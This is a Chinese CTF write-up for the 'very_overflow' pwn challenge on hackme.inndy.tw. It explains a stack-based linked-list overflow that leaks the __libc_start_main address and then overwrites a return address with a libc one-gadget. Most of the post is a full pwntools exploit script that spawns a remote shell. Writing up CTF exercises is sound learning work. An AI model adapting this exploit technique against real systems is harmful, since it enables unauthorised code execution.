very_overflow的wp

https://hackme.inndy.tw/scoreboard/ 題目很有趣,我做了very_overflow這個題目感覺還不錯,我把wp分享出來,方便大家學習
very_overflow的題目要求是:

nc hackme.inndy.tw 7705

Source Code:
https://hackme.inndy.tw/static/very_overflow.c

程序的源碼給了,這個程序的用處就是在棧中創建一個鏈表,鏈表中記錄的輸入數據,可以看到這個鏈表可以無限循環下去,這樣就會造成棧溢出
先運行一下程序看一下這個程序幹了啥:
image
可以看到這個程序可以輸出下一個鏈表的地址
再看看程序開啓了哪些保護:
image
看到這個程序開了棧不可執行,因爲這個程序可以泄露棧的地址,所以可以用http://blog.csdn.net/niexinming/article/details/78666941提到的MAGIC方法去做這個題目

這個程序的難點是泄露__libc_start_main的地址,這個程序NOTE的結構是:

struct NOTE {
    struct NOTE* next;
    char         data[128];
};

如果想show某個節點的時候,程序會先順着next指針一直往下找,直到找到某個節點或者節點指針爲空,而下個指針的地址爲__libc_start_main,那麼就會泄露這個指針,暴露__libc_start_main之後,可以再次通過edit_note來編輯vuln函數返回地址,使之指向MAGIC,就可以getshell了
所以我都exp是

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC = 0x0003AC69      #locallibc
remoteMAGIC = 0x0003AC49      #remotelibc

def debug(addr = '0x0804895D'):
    raw_input('debug:')
    gdb.attach(io, "directory /home/h11p/hackme/\nb *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

elf = ELF('/home/h11p/hackme/very_overflow')

#io = process('/home/h11p/hackme/very_overflow')

io = remote('hackme.inndy.tw', 7705)



debug()
for i in xrange(0,133):
    #time.sleep(2)
    io.recvuntil('Your action:')
    io.sendline("1")
    io.recvuntil("Input your note:")
    io.sendline('A' * 0x79)
io.recvuntil('Your action:')
io.sendline("1")
io.recvuntil("Input your note:")
io.sendline('c' * 0x2f)
io.recvuntil('Your action:')
io.sendline("3")
io.recvuntil('Which note to show:')
io.sendline('134')
io.recv()
io.sendline("2")
libc_start_main = io.recv().splitlines()[1]
libc_module=base_addr(libc_start_main[11:],0x18637)
#MAGIC_addr=libc_module+localMAGIC
MAGIC_addr=libc_module+remoteMAGIC
print hex(MAGIC_addr)
io.sendline('133')
io.recvuntil('Your new data:')
payload = 'a'*10+'b'*7+p32(MAGIC_addr)+'c'*9+'d'*10+'e'*7
io.sendline(payload)
io.recvuntil('Your action:')
io.sendline("5")
io.interactive()
io.close()

效果是:
image

注意:打遠程服務器的時候會出現偶爾斷掉的情況,要多打幾次才行

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章